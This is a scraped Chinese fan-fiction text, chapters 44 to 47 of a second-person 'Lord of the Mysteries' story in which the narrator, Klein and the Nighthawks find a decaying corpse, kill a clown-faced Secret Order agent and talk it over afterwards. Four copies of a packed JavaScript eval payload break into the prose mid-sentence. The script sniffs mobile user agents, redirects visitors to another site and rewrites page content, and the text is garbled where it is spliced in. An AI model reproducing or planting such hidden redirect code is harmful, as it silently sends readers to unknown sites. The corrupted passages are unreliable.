然而,她的皮肤呈现出死人才有的青灰色与暗沉浮肿,脸颊和手背的皮肤已经出现了明显的腐败水泡和溃烂,一些深色的液体浸染了她的衣裙。显然,她已经在这闷热的环境中死去了好几天,尸体正处于高度腐烂的阶段。 “呕——!” 一直强忍着的克莱恩终于再也无法克制。视觉和嗅觉的双重冲击,加上初次直面如此惨状尸体的心理震动,让他胃部一阵剧烈的翻江倒海。他猛地转过身,对着墙壁躬身干呕起来,脸色惨白如纸。 照理说,你也应该有反应的。恐惧、恶心、不适……任何一个正常人,哪怕是经历过韦尔奇家诡异事件的你,面对一具高度腐烂、面目全非的尸体,尤其是在这种密闭空间近距离接触,都该有强烈的生理和心理反应。 但你没有。 没有恐惧,没有恶心,心跳甚至都没有加速。你只是平静地、甚至带着一种审视般的冷静,观察着那具尸体和周围的环境。仿佛看到的不是一具恐怖腐烂的遗骸,而是一件需要解读的、蕴含着信息的“物品”。 这种异常的镇定让你自己都有些意外,仿佛“怪物”途径不仅给了你高灵感,也悄悄剥脱或抑制了你对“死亡”和“恐怖”的某些正常反应。 “我是不是该有点反应?”你脑海里闪过这个念头。出于一种社交礼仪上的考量,你走到克莱恩身边,伸出手,轻轻地拍了拍他的后背,同时从口袋里掏出一块干净的手帕递了过去。 “给,擦一擦。” 你低声说道,没有刻意安慰。 …… 邓恩队长仿佛没有听到克莱恩的呕吐声,他的目光如同鹰隼般扫过整个房间。老尼尔已经捂着口鼻,提着皮箱,小心翼翼但又目标明确地开始检查房间的各个角落,尤其是壁炉和尸体周围,寻找可能存在的仪式痕迹、灵性残留或线索。 伦纳德则守在门口,警惕着楼道和房间内的任何异动,同时眉头微蹙,显然也在努力适应这糟糕的气味和景象。 克莱恩扶着墙,又干呕了几声,总算将胃里的翻腾感压了下去。他接过你递来的手帕,擦了擦嘴角,深吸了几口走廊里相对“清新”的空气,低声道:“谢谢。” 他彻底缓了过来,以手撑膝,重新站直身体,虽然脸色依旧有些苍白,但眼神已经恢复了冷静和锐利,重新将注意力投向房间内。 桌面上,确实静静躺着一本看起来颇为古旧的笔记。邓恩队长戴着那副纯黑手套,小心地将它拿起,翻开,快速而专注地检视着其中的内容。 在邓恩队长阅读期间,伦纳德保持着警惕,但并未闲着。他像一只巡视领地的黑猫,在房间内缓步走动,修长的手指时不时轻触一下桌面、椅背、散落的报刊,似乎在感受着什么,又或者是在检查是否有隐藏的机关或痕迹。他的动作轻巧无声,与这腐烂恶臭的环境格格不入。 老尼尔则强忍着恶心,用一块手帕紧紧捂住口鼻,蹲在壁炉旁。他伸出右手,小心翼翼地用手指捻起一点壁炉边缘的墙灰,放在鼻尖前嗅了嗅,随即露出一副更想吐的表情,又凑到眼前仔细观察,嘴里还低声念叨着什么,似乎在分析成分或残留的灵性。 就在这时,你的灵性毫无征兆地轻轻一跳,一种微弱的、但确凿无疑的“预警感”掠过心头,仿佛平静的水面被投入了一颗小石子。这感觉和你之前那种模糊的“遗忘”或“牵引”不同,更像是一种对即将发生之事的本能警觉。 你立刻看向身旁已经重新进入状态的克莱恩,压低声音快速说道:“克莱恩,你一开始想要‘忘记’笔记可能在这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193708|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,我们初步判断,是因为接近或触碰它可能有危险,对吧?” “嗯。” 克莱恩立刻点头,随即,他也从你的语气和表情中意识到了什么,褐色的眼睛瞬间眯起。 几乎在同一时间,正在阅读笔记的邓恩队长也抬起了头,他合上笔记,灰色的眼眸扫过你们所有人,声音沉稳而带着不容置疑的命令口吻: “会有人来取走安提哥努斯笔记。所有人,做好战斗准备。” 没有疑问,只有斩钉截铁的断定。这或许源于他阅读笔记时得到的信息,或许结合了他丰富的经验和自身的灵感预警。 命令下达的瞬间,房间内外五人的气息同时一变。 你和克莱恩几乎同时做出了反应。你们飞快地拔出了腰间的左轮手枪,动作虽然略带新人的生涩,但足够果断。“咔嚓、咔嚓” 两声轻响,你们熟练地扳开了击锤,让枪支处于随时可以扣动扳机击发的状态,手指虚搭在扳机护圈外,枪口微微下垂,但手臂和眼神已经锁定了房门和窗口等可能被侵入的方向。 伦纳德早已停止了巡视,无声无息地移动到了房间内一个既能遮蔽部分身形、又能兼顾门口和窗口的角落,右手同样按在了枪套上,左手则看似随意地垂下,但你注意到他的指尖有微光隐隐闪烁,似乎在准备着什么。 老尼尔也迅速站起身,退到了壁炉另一侧相对安全的死角,从随身皮箱里飞快摸出了几个装着不同颜色粉末的小瓶和一把刻画着符号的银质小刀,严阵以待。 邓恩队长将安提哥努斯笔记迅速放入一个厚重的、带有复杂封印符号的铅灰色密封袋中,仔细封好口。然后,他打了一个简洁的手势——掌心向外,五指并拢,向后摆动。 撤退,退出这个房间。 在狭窄、充满尸臭和潜在危险的室内战斗并非上策。你们五人立刻依序,保持着警惕和互相掩护的阵型,快速而安静地退出了这个令人作呕的房间,重新来到相对开阔些的三楼楼梯平台。 “散开,找掩体,保持安静,等待。” 邓恩队长的指令简短清晰。 你们立刻执行。伦纳德无声地滑入对面(原本绑架艾略特的)房间门内,隐藏起身形。老尼尔和你、克莱恩则分别隐蔽在楼梯平台两侧的阴影和转角后。邓恩队长本人则站在平台中央稍靠后的位置,如同一块沉默的礁石,既能观察整个平台和上下楼梯,又能随时支援任何方向。他手中的密封袋已经被他塞进了内袋妥善保管。 五个人,分散在相对有利的位置,屏息凝神。腐烂房间的门依旧敞开着,那股恶臭缓缓飘散。楼内一片死寂,只有远处街道隐约传来的、被距离和墙壁过滤得微不可闻的喧嚣。 你们在沉默中等待着。等待着那个(或那些)被邓恩队长断定、一定会来取走安提哥努斯笔记的“访客”。 左轮手枪的握柄被手心微微的汗水浸得有些滑腻,但你的心跳在最初的加速后,反而逐渐平稳下来。灵性中的那点预警,此刻化为了全神贯注的警惕。 45. 第45章 敌人 你背靠着三楼冰凉的墙壁,那股从房间内溢出的、混合了尸体高度腐败与某种陈腐甜腻的恶臭,如同有生命的藤蔓,缠绕着你的嗅觉神经,让你一阵阵心烦意乱,太阳穴也突突直跳。 就在这股生理性的不适中,你的灵性突然有了带着灼热感的警兆! 你几乎是不由自主地按住突突直跳的太阳穴,脱口而出,声音压得极低:“……他来了。不是从楼梯……在楼上!是火!” 几乎就在你预警的同一刹那,站在你斜对面的克莱恩仿佛也被无形的针扎了一下,褐色的眼眸骤然收缩,他几乎与你同时转头,看向了那扇敞开的、散发着恶臭的房门,更准确地说是看向了房间深处的壁炉,声音急促地补充:“队长!是壁炉!” 两位高灵感新人的预警在瞬息间重叠、印证! “伦纳德,压制房间出口!老尼尔,封锁房间防止灵性外泄!克莱恩,温蒂,策应预警!” 邓恩·史密斯队长的命令没有丝毫迟滞,冷静而精准地在下一微秒炸响。 他本人如同融入墙壁的阴影,脚步轻巧得没有发出半点声响,身形却已出现在楼梯口上方,封堵了从楼上垂直下落的路径。他右手稳稳按在枪套上,而戴着黑手套的左手五指已然微微张开,指尖在空气中勾勒出肉眼难辨的轨迹——“入梦” 的前奏已然开始编织,无形的、令人精神困倦迟缓的涟漪悄然弥漫开来,目标直指那扇敞开的房门。 伦纳德·米切尔的身影如同蓄势已久的猎豹,在指令下达的瞬间便已窜出,精准地扑到了那扇散发恶臭的房门侧方,身体紧贴墙壁,将自己置于房门开启的视野死角。他那双绿色的眼睛此刻紧紧锁住门口那片弥漫着腐臭的空气,仿佛能看穿其后的一切。 他深吸一口气,胸膛微微起伏,一段低沉、缥缈、仿佛直接回响在灵魂深处的诗篇已在他喉间无声酝酿,只等目标现身,便会化为夺魂的序曲。 老尼尔的反应同样迅捷。他甚至没时间去擦额角瞬间冒出的冷汗,枯瘦的手已闪电般探入随身皮箱,抓出一把事先混合好的、闪烁着微光的银粉与干燥草药粉末。他嘴唇急速开合,诵念出简短的赫密斯文咒文,同时挥手将粉末呈一道弧线,撒向腐烂房间的门槛和敞开的窗口! “嗤……” 微不可闻的轻响中,粉末落处,空气仿佛水面般荡漾开一圈圈微不可见的灵性涟漪,一道薄弱但确实存在的、干扰灵性流动与感知的“屏障”瞬间成型。 与此同时,老尼尔那双因年岁而略显浑浊、此刻却精光四射的眼睛,如同最警惕的雷达,紧张地扫视着房间内外、天花板、地板每一个角落,搜寻着任何一丝非自然的灵光闪现或即将成型的法术结构。 这一切——从你的预警到老尼尔撒出粉末,都只发生在电光石火的一两秒内。这支临时组成的队伍瞬间进入了最高警戒的临战状态。 “轰——!” 就在老尼尔的粉末刚刚落地的下一瞬,那间弥漫恶臭的房间里,原本没有余温的壁炉,毫无征兆地爆起一团赤红中夹杂着惨绿色的熊熊烈焰! 火焰并非自然燃烧的形态,而是扭曲、跳跃,瞬间将房间映照得一片光怪陆离,也将那具摇椅上腐烂尸体的影子投射在墙壁上,拉长、扭曲成更加恐怖的形状。 烈焰的核心猛地向内一缩,随即,一个身影如同从火焰中生长出来般,一步跨出! 他穿着剪裁得体的黑色燕尾服,头戴一顶半高的黑色丝绸礼帽,打扮得如同一位即将赴宴的绅士。然而,这一切的体面都被他脸上那夸张、怪诞、涂满了红、黄、白三色油彩的小丑妆容彻底破坏。油彩勾勒出巨大的微笑嘴角,几乎咧到耳根,但那双透过油彩望出来的眼睛,却冰冷、戏谑,带着毫不掩饰的恶意与一种掌控全局的从容。 他就这样突兀地站在壁炉前,站在摇曳的火光与弥漫的恶臭中,燕尾服的衣角甚至没有沾上一丝烟灰。 他的目光第一时间,越过了门口紧张的老尼尔和侧方隐蔽的伦纳德,仿佛能穿透墙壁般,精准地落在了走廊中严阵以待的邓恩队长,以及你和克莱恩身上。 嘴角那油彩绘制的笑容,似乎咧得更开了一些。 战斗,一触即发! 他出现的角度极其刁钻,背靠燃烧的壁炉,将整个房间作为了他的舞台和缓冲。现身的同时,他涂满油彩的手指看似随意地一弹,几颗火星般的红点飞溅而出,落地即燃,化为几团阻挡视线的、跳跃着的火苗,不仅干扰了你的视线,更在灵性层面制造了细微的扰动。 然而,他的表演刚刚开始,伦纳德那酝酿已久的诗篇已然化为实质的力量,在狭小的空间内回荡! “啊,恐惧的威胁,绯红的希冀!” “起码一事是真:此生飞逝。” “一事是真啊,其余皆谎,” “花开一度后将与世长辞……” 那低沉而缥缈的韵律仿佛直接钻入脑海,带着月光般的清冷与深沉的倦意。刚刚完成火焰跳跃、身形还未完全稳定的“魔术师”动作肉眼可见地僵硬、迟缓了一瞬,脸上那夸张的笑容似乎都凝滞了,眼神出现了片刻的涣散。 “避开他的火焰!” 几乎在队长话音落下的同时,敌人的身影在那迟滞感中猛地一颤,骤然变得模糊,随即从房间另一角、一簇他刚刚点燃的小火苗中再次跃出,试图脱离伦纳德诗篇影响的核心范围,并拉近与门口的距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193709|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他显然意识到了伦纳德身为“午夜诗人”能力的麻烦,刚一站稳,右手一抹,指间已夹住了数张边缘闪烁着金属寒光的纸牌。手腕一抖,纸牌并非散乱射出,而是如同被无形丝线牵引,发出锐利的破空声,如同数把飞旋的薄刃铁刀,呈一个刁钻的扇形覆盖向门口的伦纳德! 伦纳德不得不中断了部分吟诵,身体以惊人的柔韧性向后仰倒,同时侧滚。纸牌擦着他的衣角、发梢飞过,深深嵌入他身后的门框和墙壁,发出“咄咄”的闷响。更诡异的是,那些划过的纸牌竟凭空自燃,拖出一道道短暂的火线,进一步扰乱了战场。 “他要点燃那些纸牌!” 你的灵性预警再次尖叫,你看到他的手指已经做出了一个火焰引动的隐秘手势。 “砰!砰!” 几乎不分先后,克莱恩和你的左轮手枪喷吐出火光!你的子弹,则在一种近乎本能的驱使下,划出一道微妙的弧线,封堵了对方在诗篇影响和受袭状态下,最可能进行紧急闪避的侧后方空间! 面对两侧袭来的子弹,以及依旧萦绕耳畔、试图拖拽他意识沉沦的吟唱,这个诡异都小丑展现出了出乎意料的敏捷——他的身体如同没有骨头般以一个不可思议的角度扭曲,克莱恩的子弹擦着他肋下的燕尾服掠过,击碎了他身后窗棂上残留的一块玻璃。 但真正的杀招,来自一直如同阴影般掌控全局的邓恩·史密斯!在克莱恩和你开枪的同一刹那,队长完成了他的锁定。他没有选择需要预判移动轨迹的射击,而是在敌人扭曲身体、重心不可避免地偏向一侧、不得不微微撑地向侧方发力以维持平衡的瞬间,扣动了扳机! “砰!” 队长枪口火光一闪,子弹疾驰而出,精准地抓住了那电光石火般的、因身体扭曲而产生的破绽! “噗嗤!” 血花混合着可能存在的骨裂声响起。对方发出一声压抑的闷哼,但奇怪的事,受伤的位置并不是胸口,但小丑的左臂瞬间被鲜血染红,动作彻底变形。 与此同时,邓恩队长那低沉而充满磁性的嗓音,吟诵起了另一段迥异于伦纳德风格、却同样直击心灵的诗篇。 “每当太阳在西方下沉,” “露珠缀满黄昏的衣襟,” “她素颜苍白得如同月明,” “或如随伴月亮的星星……” 在邓恩队长的念诵不仅仅带来困倦,更蕴含着一种强行拖拽意识下沉、陷入恍惚与混乱的力量,如同噩梦的触手,紧紧缠绕住了受伤的密修会成员! 油彩下的脸孔第一次出现了明显的扭曲,既是源于手臂被射穿的剧痛,更是因为脑海中强行入侵、试图瓦解他清醒意志的“梦魇”之诗! 46. 第46章 凭啥对面这么多技能啊 “砰!” 队长又开了一枪,子弹依旧朝着小丑的胸□□去。 就在邓恩队长的子弹即将彻底终结他生命的刹那,小丑那未被击中的右手以一种超越疼痛的稳定和迅捷,猛地一抖——一张巴掌大小的纸人从他指间飘落。 小丑原本所在位置的身影骤然变得虚幻,队长那志在必得的一枪,毫无阻碍地穿透了这个纸人替身,在其胸口留下一个焦黑的孔洞。纸人随即无火自燃,化为一小撮灰烬飘散。 而敌人的真身,已然出现在几米外,靠近房间另一侧窗户的位置!他左手依旧血肉模糊,鲜血淌到他的掌心,但脸上那油彩绘制的狞笑却更加夸张,眼中闪烁着疯狂与戏谑。 他没有丝毫停顿,一现身,便对着距离他最近、刚刚从纸牌飞刃下稳住身形的伦纳德,曲起手指,打了个清脆的响指! “快躲开!” 克莱恩和你的惊呼声几乎同时响起! “啪!” 一声仿佛气球被捏爆、却又尖锐刺耳得多的脆响炸开!伦纳德面前的空气猛地向内凹陷、压缩,一颗完全由高压空气凝聚成的无形子弹,以丝毫不逊于真子弹的速度,尖啸着射向他的头颅! 伦纳德在听到你们预警和响指的瞬间,已经做出了极限反应,他完全放弃了优雅的闪避,以一个极其狼狈却有效的姿势向侧后方猛力翻滚! “噗!” 他原本站立位置后方坚硬的砖石墙壁上,赫然出现了一个足有拳头大小、边缘整齐、深达数寸的凹坑,石粉簌簌落下! “他能将空气压缩成子弹!” 老尼尔失声喊道,脸色更加凝重。敌人不仅拥有火焰跳跃、纸人替身、操控纸牌的能力,竟然还能通过简单的响指模拟出堪比枪械的远程攻击! 邓恩队长的反应很快,在小丑现身的瞬间,他的枪口已然调转,连续的射击逼迫着对方不断移动,打断他的施法。 但小丑在受伤和诗篇持续影响下,依然展现出了可怕的韧性与诡变。他不时甩出几张边缘锋利的纸牌,这些纸牌如同被赋予了生命,在空中划出诡异的弧线,骚扰着邓恩的射击线,并时不时隔空自燃,爆开小团火焰干扰视线,而他的身影则借助这些火焰,一次次进行着短距离的、难以预判的火焰跳跃,如同鬼魅在房间有限的范围内闪烁。 一时间,枪声、纸牌破空声、火焰燃爆声、诗篇的吟诵声交织在一起,战斗陷入了危险的僵持。 伦纳德翻滚起身后,立刻重新加入吟诵,试图用更强烈的“沉眠”力量限制对方。克莱恩和你则不断开枪策应,封锁对方的移动路线,但对方的身法太过滑溜,难以命中要害。老尼尔 一直守在门口,紧张地追踪着每一次灵光闪烁,手中紧握着一把刻画着符文的银质小刀和几个药剂瓶,寻找着干预的时机。 突然,小丑的身影又一次从壁炉旁的一簇小火苗中跃出,似乎想要拉近与门口的距离,强行突破。就在他身形凝实的刹那—— 一直如同雕塑般守在门口、口中念念有词、手指不时凌空勾勒的老尼尔,眼中闪过精光! 他猛地将手中那把银质小刀狠狠插在脚下——那里,正是他最初撒下银粉与草药粉末的地方!与此同时,他另一只手将早已准备好的一个装有暗红色液体的玻璃小瓶摔碎在地! “封禁!此处禁止调用灵性!” 老尼尔苍老的声音带着一种奇异的共振响起。 刹那间,以那小刀和破碎的瓶子为中心,一道道微光构成的、复杂难明的灵性纹路如同活过来般,瞬间蔓延至整个房间的门、窗、墙壁乃至天花板,形成了一张无形的、隔绝内外的灵性之网! 你立刻感觉到周围空气中的灵性变得凝滞、晦涩,如同陷入了粘稠的胶水,自身调动灵性都感到了一丝滞涩。这正是老尼尔准备的仪式! 男人的脸色第一次真正变了。他试图再次引动火焰进行跳跃,但壁炉的火焰只是剧烈摇曳了一下,他身上的灵光与火焰之间的连接仿佛被一层无形的膜阻隔,变得极其微弱和不稳定!他的火焰跳跃能力被大幅度削弱、迟滞了! “该死!” 油彩下的脸庞闪过一丝彻底的疯狂与暴戾。 你乘胜追击地开枪,只要他被限制在这狭小空间,面对一名“梦魇”、一名“午夜诗人”和三名持枪且有特殊能力的低序列者围攻,败亡只是时间问题。 他双手猛地向两侧一挥,不再试图施法或跳跃,而是用尽此刻能调动的灵性,发动了另一个诡异的能力! 霎时间,走廊与房间连接处的光线一阵扭曲、模糊!在你们眼中,三个穿着黑色燕尾服、头戴礼帽、涂着红黄白三色油彩、脸上挂着一模一样狞笑的小丑,同时出现在三个不同的方位,分别做出了扑向邓恩队长、伦纳德和老尼尔的姿态!无论是气息、灵光波动还是那令人厌恶的压迫感,都几乎一模一样! 你的心脏几乎漏跳一拍。但下一刻,你强压住惊骇,几乎不假思索地用力眨了眨眼,手指飞快划过右眼眶,进入了那种能够“虚视”、洞察事物表层之下痕迹的状态。 在你的视野中,那三个扑来的身影虽然栩栩如生,散发着令人不安的恶意灵光,但它们更像是由流动的色彩和躁动的灵性强行拼凑出的画皮,缺乏那种深沉、凝实的存在核心,也看不到连贯清晰的、属于“过去”的痕迹线条。它们更像是被同一个源头遥控的精致木偶。 “这些都是幻觉!” 你厉声高喊,声音在枪声和呼啸声中格外清晰,“没有真的!” 几乎在你喊话的同时,一直用诗篇与对方灵性对抗、并冷静观察的邓恩队长眼中灰芒一闪。他口中吟诵的诗篇词句骤然一变,从拖人沉沦的低语,转为一种更富穿透力、仿佛能照见真实的宣告。 “……月见草在夜露滋润下,” “绽开了优雅纤弱的花,” “像隐士一般避开阳光……” 随着他的吟诵,房间内靠近壁炉一侧的、被摇曳火光照出的一片浓郁阴影旁,空气如同水波般剧烈荡漾起来! 一个模糊的、正试图悄然后退贴向墙壁的燕尾服身影,在水波般的涟漪中被迫浮现出身形——正是那西装小丑的真身!他试图利用幻象吸引注意,自己则隐匿身形,要么寻找机会偷袭,要么……准备逃跑! “砰!” 邓恩队长反应极快,枪口微调,子弹出膛,射向那浮现的身影。 然而,令人错愕的是,子弹击中那身影的瞬间,那身影竟如同被打碎的镜子般,哗啦一声碎裂开来,化作无数片片光影,随即消散! “还可以制作幻象?” 老尼尔咬牙道,脸色更加难看。敌人的手段之多变,远超预料。 “该死的,这个家伙的技能怎么这么多?” 你忍不住低声咒骂,感到一阵棘手。幻象套着幻象,真真假假,让人疲于应付。 但你也敏锐地察觉到,在老尼尔那“灵性封锁”仪式的持续压制下,房间内的灵性环境越来越滞涩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193710|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方连续施展火焰跳跃、纸人替身、空气子弹、多重幻象,还要对抗邓恩队长和伦纳德的诗篇……他的灵性消耗绝对巨大,尤其是在这种被封锁的环境里,消耗恐怕比平时快得多。 他是想跑了! 仿佛印证你的猜测,房间角落,那具腐烂尸体所坐的摇椅背后阴影里,空气一阵扭曲,男子的真身终于踉跄着浮现!他脸上的油彩被汗水和血污弄得一塌糊涂,左手无力地垂着,右手捂着肋下一处不知何时被流弹擦过的伤口,气息明显萎靡,燕尾服也变得破烂不堪,那顶丝绸礼帽早已不知去向。他刚一现身,就猛地朝窗户方向冲去,显然想不顾一切地撞破窗户逃离。 不需要指令,众人立刻抬起左轮,枪口齐齐指向那道狼狈逃窜的身影。 那道人影显然也意识到了集火的危险,冲锋的势头突地一变,由直冲改为就地下蹲,似乎想用一个翻滚避开弹道,同时拉近与窗户的距离。 然而,就在他身形由直立转为蹲伏、动作转换的微妙瞬间,一直全神贯注瞄准、但因为对方之前诡变多端而有些难以预判的克莱恩,手指因为紧张和之前的瞄准态势,下意识地、稍微提前了那么一丝,扣动了扳机! “砰!” 枪声响起。这一枪,在克莱恩的预想中,本是瞄准对方可能前进的位置,却阴差阳错地,恰好击中了对方!子弹精准地钻入了小丑的腹部! “呃啊——!” 凄厉的惨叫响起。敌人扑倒在地,血花绽放,彻底失去了行动能力,只能徒劳地用手抓挠着地面。 邓恩同时率先扣动扳机。 “砰!砰!砰!砰!” 无需多言,伦纳德、克莱恩和你几乎同时开火。直到那具身体彻底不再动弹,只有些许生理性地肌肉抽搐,众人才缓缓垂下枪口。 走廊里弥漫着硝烟、血腥和尚未散尽的腐臭,耳边似乎还回响着枪声的余韵。短暂的沉默中,只有几人略显急促的呼吸声。 伦纳德最先打破沉默。他甩了甩因为连续射击而有些发麻的手腕,脸上那玩世不恭的笑容重新浮现,但多了几分真实的轻松和经历并肩作战后的熟稔。他朝着你和克莱恩,伸出两只手,掌心向前,做出了一个明显的击掌邀请姿势,语气带着调侃: “嗨,两位新人,第一次非凡任务,第一次真刀真枪的战斗,感觉怎么样?刺激吧?” 你看着伦纳德的手,又看了看旁边脸色依旧有些苍白但眼神亮得惊人的克莱恩,心中那根紧绷的弦终于彻底松开,一种混合着后怕、兴奋和完成任务后的巨大成就感涌上心头。你笑了笑,伸出手,与伦纳德的右手用力击掌,发出清脆的响声。 “感觉还不错。”你实话实说,虽然过程惊险,但结果无疑是成功的。 克莱恩看着你们,似乎有些无奈,低声嘟囔了一句:“我们没有那么熟吧……” 但嘴角却不受控制地微微向上弯了一下。他看着伦纳德依旧伸着的左手,略一迟疑,还是伸手过去,不太用力地与之击掌,然后迅速收回。 我也伸手朝向克莱恩:“合作愉快!” “合作愉快。”克莱恩笑了笑,伸手和我击掌。 你转头看向队长,等待他的指示。邓恩队长灰色的眼眸很温和,嘴角似乎有些微的上翘,目光从你、克莱恩、伦纳德三人身上巡过。 “检查现场,处理痕迹,评估污染。我去联系警察部门来善后。” “明白,队长!” 47. 第47章 道歉 颠簸的马车上,气氛与来时截然不同。 车厢内空间有限,加上那具密修会成员的尸体直接横放在车厢地板上,五个人显得格外拥挤。你、邓恩队长、克莱恩和老尼尔勉强坐着,伦纳德则被安排去和西泽尔坐在前面驾车。 小丑的尸体被随意横放在车厢地板上,随着马车行进轻轻晃动。 你的脚在狭窄的空间里不小心又踢到了那具冰冷僵硬的尸体,鞋底传来粘腻的触感。借着车厢外偶尔掠过的煤气灯光,你低头一看,鞋底果然蹭上了一些暗红色的血迹。 你皱了皱眉,几乎没怎么犹豫,抬脚就在尸体那件已经破烂不堪的黑色燕尾服上蹭了几下,试图把血污蹭掉。摩擦起来感觉并不好,但你更不想带着死人的血回黑荆棘安保公司。 坐在你对面的克莱恩将你这一系列动作尽收眼底,他脸上的表情有些复杂,沉默了几秒,才轻声说道:“温蒂,你……适应得真好。” 他的语气里听不出是褒是贬,更像是一种单纯的观察陈述。 你闻言愣了愣,停下动作,这才意识到自己的行为在正常人眼里可能有点过于……冷静了,甚至有些冷血。 你挠了挠头,有些不确定地说:“不知道啊……好像自从喝了那瓶魔药,胆子就莫名其妙变大了。” 你说的是实话,面对尸体、血腥甚至刚才的战斗,你内心的恐惧感远低于应有的水平,更多的是一种冷静的观察和解决问题的思维。这或许也是“怪物”途径带来的某种潜移默化的影响?你皱了皱眉,似乎自己也觉得这种变化有点奇怪。 但随即,一个更强烈的念头压过了对自己状态的好奇。你抬起头,非常认真、甚至带着明显歉意地看向克莱恩:“对了,克莱恩,我要向你道歉才行。” “啊?什么?” 克莱恩似乎没跟上你跳跃的思路,有些不明所以。 “就是……我教你的那个方法。” 你斟酌着词句,语气里充满了后怕和真诚的懊悔,“就是通过放空自己放大灵感去感应危险的方法。因为我自己用的时候,除了有些头晕之外,好像没什么特别难受的副作用,所以……我就那么教给你了。我完全没想到,你居然会感觉到那么恐怖的东西——那些眼睛,那些低语,真是对不起。” 克莱恩这才明白过来,他摆了摆手,语气平和:“那没什么,你也不是故意的。而且,确实有效,我们找到了线索。” “不是故不故意的问题!” 你的声音不自觉地提高了一些,带着深深的自责,“是我完全没有仔细思考我的决定会带来什么后果!现在想起来真的有些后怕!我的方法根本没有经过验证,纯粹是靠我自己一些侥幸的尝试和摸索。如果你因为我的原因,看到了什么不该看的,因此灵性受损、精神受伤、甚至失控……那我……” 你停顿了一下,声音低了下去:“那我也没办法去面对梅丽莎和班森了……” 克莱恩沉默了一会,马车轮毂轧过石板的声响格外清晰。 对面,闭目养神的邓恩队长似乎并未睡着,老尼尔则摆弄着他那个小皮箱里的东西,但都默契地没有插话。 他看着你,缓缓开口,语气依旧沉稳,但多了一份理解:“你只是提议而已,做决定的是我自己。在感应之前,我也用灵摆占卜过是否安全。我已经是成年人了,我应该对我自己的决定负责。占卜本身就有风险,探索非凡更是如此。我不能因为可能出现的坏结果,就去责怪提供一种可能性的人。” “就算你这么说,” 你摇了摇头,并没有被安慰到,反而更加认真地看着他,“如果你出事了,我自己也会被自己的愧疚压得喘不过气来。你们一家人,都在努力生活,都在期盼明天会比今天更好,我们家也是一样。所以我更清楚,如果你因为我那鲁莽的提议出事了,我毁掉的不止是一个人。” 你的语速加快,仿佛要将心中翻腾的情绪都倾倒出来:“我会害死我新交的朋友,害死一位让哥哥骄傲的弟弟,害死一位被妹妹深深依赖和爱着的哥哥…… 你说我的道歉只是为了让自己好受一些也好,但是我自己是没办法背负这些的!让别人因为我而受到伤害,和自己因为自己的愚蠢而倒霉,是完全不同的感受!” 你说完,车厢内陷入了短暂的安静。 你深吸一口气,用一句话,堵住了克莱恩可能还想说出口的安慰,也仿佛是在叩问自己的内心: “你也是一样的吧,克莱恩?比起让别人因为自己而受伤,还是宁愿自己受伤比较好一点,对吧?” 克莱恩看着你,褐色的眼眸在车厢昏暗的光线下显得格外幽深。他没有立刻回答,但那份沉默本身,本就是一种答案。 马车继续在湿漉漉的街道上颠簸前行,车厢内一时只有轮轴的吱呀声和马蹄踏在石板上的嘚嘚声。 片刻的沉默后,坐在你对面的克莱恩轻轻呼出一口气,脸上露出一丝看起来是代表温和和无奈的笑意。 他看着你,认真地说道: “好了,温蒂。你的道歉,我接受了。我原谅你了。” 他顿了顿,声音变得更低,也更坚定:“而且,你说得对。无论是作为值夜者,还是作为梅丽莎和班森的哥哥,我都应该对自己的生命更重视、更负责一些。这次的事情,对我也是个提醒。” 听到克莱恩明确表示原谅,你心中那块沉甸甸的石头终于落地,紧绷的肩膀也微微松了下来。 这时,一直闭目养神、实则竖着耳朵听的老尼尔适时地睁开了眼睛,清了清嗓子,用一种长辈调解小辈矛盾的口吻说道: “好了好了,你们两个都是好孩子,罗塞尔大帝怎么说的来着?知道自己的过错,并且愿意改正错误,是一种极大的美德。” 他先是对你们俩点了点头,然后转向你,故意板起脸,做出一副严肃训诫的样子,“不过,小温蒂,那种强行拔高灵感、毫无防护地去感知未知存在的野路子方法,以后绝对、绝对不能随便用了! 听到没有?如果真到了万不得已、非用不可的境地,” 他语气加重,“也必须确保身边有足够信任、足够强大的队友在场,能随时保护你、打断你,或者处理可能出现的意外!知道了吗?” 他说着,红色的眼睛却悄悄瞟向旁边一直沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 